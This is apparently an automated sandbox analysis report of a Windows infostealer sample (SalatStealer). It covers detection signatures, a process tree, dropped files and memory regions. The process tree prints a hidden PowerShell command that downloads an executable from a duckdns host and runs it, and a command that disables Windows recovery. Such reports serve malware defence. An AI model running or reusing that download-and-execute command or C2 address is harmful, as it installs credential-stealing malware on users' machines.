Analysis

  • max time kernel
    148s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 01:41

General

  • Target
    2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe
  • Size 228KB
  • Sample260823-b4fvlaha46
  • SHA256 2114ae18dde58029481575c9c9728c03a87c6ac68b51f97ca714535d262793c1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://kfkfkslsld.duckdns.org:54321/a3f9k2m8x1/d/stub.exe

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 15 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 15 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 15 IoCs
  • UPX dump on OEP (original entry point) 19 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 2 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-22_b9a8bcbe72ebe236e5a844d2c5599f02_cobalt-strike_icedid_njrat.exe"
    1⤵
    • Downloads MZ/PE file
    • Suspicious use of WriteProcessMemory
    PID:3436
    • C:\Users\Admin\AppData\Roaming\Updater.exe
      "C:\Users\Admin\AppData\Roaming\Updater.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5540
      • C:\Program Files (x86)\Windows Mail\SearchHost.exe
        "C:\Program Files (x86)\Windows Mail\SearchHost.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe
          4⤵
          • UAC bypass
          • Badlisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3968
          • C:\Windows\SysWOW64\ReAgentc.exe
            "C:\Windows\system32\ReAgentc.exe" /disable
            5⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:3864
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "(New-Object Net.WebClient).DownloadFile('http://kfkfkslsld.duckdns.org:54321/a3f9k2m8x1/d/stub.exe',[System.IO.Path]::GetTempPath()+'svchost32.exe');Start-Process ([System.IO.Path]::GetTempPath()+'svchost32.exe')"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4200
        • C:\Program Files (x86)\Microsoft\Edge\Application\SearchHost.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\SearchHost.exe" -
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1628
  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
    1⤵
      PID:4212
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
      1⤵
        PID:5028

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 63KB
            • SHA256 45d791a99f9c74c74ebe382ad752ccc539c8e8b05bffc443e8ac6dbc0a4e3075
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_wkgcpdk4.bzm.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkgcpdk4.bzm.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            Updater.exe

            • Path C:\Users\Admin\AppData\Roaming\Updater.exe
            • Size 3.4MB
            • SHA256 0868c177ba1a4657b732cb6d06d05b5aed231b17931bd31701bdceda86f37f0e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1512-52-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-94-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-98-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-50-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-51-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-102-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-99-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-48-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-93-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-92-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-90-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1512-89-0x00000000006B0000-0x0000000001306000-memory.dmp

            memory/1628-68-0x00000000000D0000-0x0000000000D26000-memory.dmp

            memory/1628-70-0x00000000000D0000-0x0000000000D26000-memory.dmp

            memory/3968-72-0x0000000007760000-0x0000000007796000-memory.dmp

            memory/3968-82-0x0000000007A20000-0x0000000007AB6000-memory.dmp

            memory/3968-71-0x0000000006900000-0x0000000006948000-memory.dmp

            memory/3968-61-0x0000000005FC0000-0x0000000005FDE000-memory.dmp

            memory/3968-73-0x0000000070350000-0x000000007039C000-memory.dmp

            memory/3968-74-0x00000000705D0000-0x000000007092B000-memory.dmp

            memory/3968-77-0x00000000077A0000-0x00000000077C0000-memory.dmp

            memory/3968-78-0x00000000077C0000-0x0000000007863000-memory.dmp

            memory/3968-79-0x0000000007F50000-0x00000000085CC000-memory.dmp

            memory/3968-80-0x0000000007910000-0x000000000792A000-memory.dmp

            memory/3968-81-0x0000000007970000-0x000000000797A000-memory.dmp

            memory/3968-64-0x0000000006000000-0x000000000604C000-memory.dmp

            memory/3968-83-0x0000000007E30000-0x0000000007E52000-memory.dmp

            memory/3968-84-0x0000000008B90000-0x000000000914A000-memory.dmp

            memory/3968-60-0x0000000006120000-0x000000000647B000-memory.dmp

            memory/3968-56-0x00000000055F0000-0x0000000005656000-memory.dmp

            memory/3968-57-0x0000000005710000-0x0000000005776000-memory.dmp

            memory/3968-55-0x0000000005550000-0x0000000005572000-memory.dmp

            memory/3968-54-0x00000000058D0000-0x0000000005F1A000-memory.dmp

            memory/3968-53-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

            memory/5540-49-0x0000000000D50000-0x00000000019A6000-memory.dmp

            memory/5540-33-0x0000000000D50000-0x00000000019A6000-memory.dmp

            memory/5540-32-0x0000000000D50000-0x00000000019A6000-memory.dmp

            memory/5540-31-0x0000000000D50000-0x00000000019A6000-memory.dmp